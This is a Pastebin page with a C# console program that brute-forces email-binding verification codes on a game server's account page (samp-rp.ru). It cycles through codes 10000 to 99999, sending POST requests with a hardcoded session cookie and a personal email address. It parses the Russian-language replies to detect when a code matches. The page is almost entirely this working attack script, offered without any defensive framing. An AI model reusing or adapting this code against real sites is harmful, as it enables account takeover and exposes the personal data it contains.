Advertisement
Guest User

Untitled

a guest
May 31st, 2016
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.88 KB | None | 0 0
  1. using System;
  2. using System.Threading;
  3. using System.Collections.Generic;
  4. using System.Linq;
  5. using System.Text;
  6. using System.Threading.Tasks;
  7. using System.Net;
  8. using System.IO;
  9. using System.Windows.Forms;
  10. namespace ConsoleApplication2
  11. {
  12.     class Program
  13.     {
  14.         static int i;
  15.         static void Main(string[] args)
  16.         {
  17.             i = 10000;
  18.             //for (int i = 0; i < 3; i++)
  19.             //{
  20.                 Thread myThread = new Thread(timerfucn);
  21.                 myThread.Start();
  22.             //}
  23.             Console.ReadKey();
  24.  
  25.         }
  26.        static void timerfucn()
  27.         {
  28.             while (i < 99999)
  29.             {
  30.                 try
  31.                 {
  32.  
  33.                     string url = "http://beta.samp-rp.ru/%D0%B0%D0%BA%D0%BA%D0%B0%D1%83%D0%BD%D1%82/%D0%B5%D0%BC%D0%B0%D0%B9%D0%BB";
  34.  
  35.                     ASCIIEncoding encoding = new ASCIIEncoding();
  36.                     string postData = "bind_email_code=" + i + "&submit=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C&email=alexandr.3.3.3%40yandex.ru";
  37.                     byte[] data = Encoding.GetEncoding("UTF-8").GetBytes(postData);
  38.  
  39.                     System.Net.HttpWebRequest request = (HttpWebRequest)System.Net.WebRequest.Create(url);
  40.                     request.Method = "POST";
  41.                     request.Accept = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36";
  42.                     request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36";
  43.  
  44.                     request.Headers.Add("Cookie", "_ym_uid=1462375918591764910; _ym_isad=1; PHPSESSID=bje4cp4m1ubbd2k0nh8f5crfh5; _ym_visorc_1314509=w; __utmt=1; __utma=142386992.1901486700.1462375915.1464660250.1464668289.32; __utmb=142386992.7.9.1464672525768; __utmc=142386992; __utmz=142386992.1464570640.26.3.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)");
  45.                     //request.Headers.Add("Accept-Encoding", "gzip, deflate");
  46.                     //request.Headers.Add("Accept-Language", "ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4");
  47.                     //request.Headers.Add("Upgrade-Insecury-Request", "1");
  48.  
  49.  
  50.  
  51.                     request.ContentType = "application/x-www-form-urlencoded";
  52.                     request.ContentLength = data.Length;
  53.  
  54.  
  55.                     Stream stream = request.GetRequestStream();
  56.                     stream.Write(data, 0, data.Length);
  57.                     stream.Close();
  58.  
  59.                     WebResponse response = request.GetResponse();
  60.                     stream = response.GetResponseStream();
  61.  
  62.                     StreamReader sr = new StreamReader(stream);
  63.                     string responsetext = sr.ReadToEnd();
  64.                     //responsetext.Contains
  65.  
  66.                     //form.textBox1.Text = responsetext;
  67.  
  68.                     if (responsetext.Contains("Укажите сервер"))
  69.                     {
  70.                         Console.WriteLine("неверные куки (не зашел в лк): " + i);
  71.                         return;
  72.                     }
  73.                     if (responsetext.Contains("[скрыто]@"))
  74.                     {
  75.  
  76.                         // form.label1.Text = "код подошел: " + i;
  77.                         Console.WriteLine("код подошел: " + i);
  78.                         return;
  79.                     }
  80.                     else Console.WriteLine("код неверный: " + i);
  81.  
  82.                     sr.Close();
  83.                     stream.Close();
  84.                     i++;
  85.                 }
  86.                 catch (Exception ex)
  87.                 {
  88.                     Console.WriteLine("ошибка запроса: " + i);
  89.                     continue;
  90.                 }
  91.                 Thread.Sleep(500);
  92.             }
  93.  
  94.         }
  95.     }
  96. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement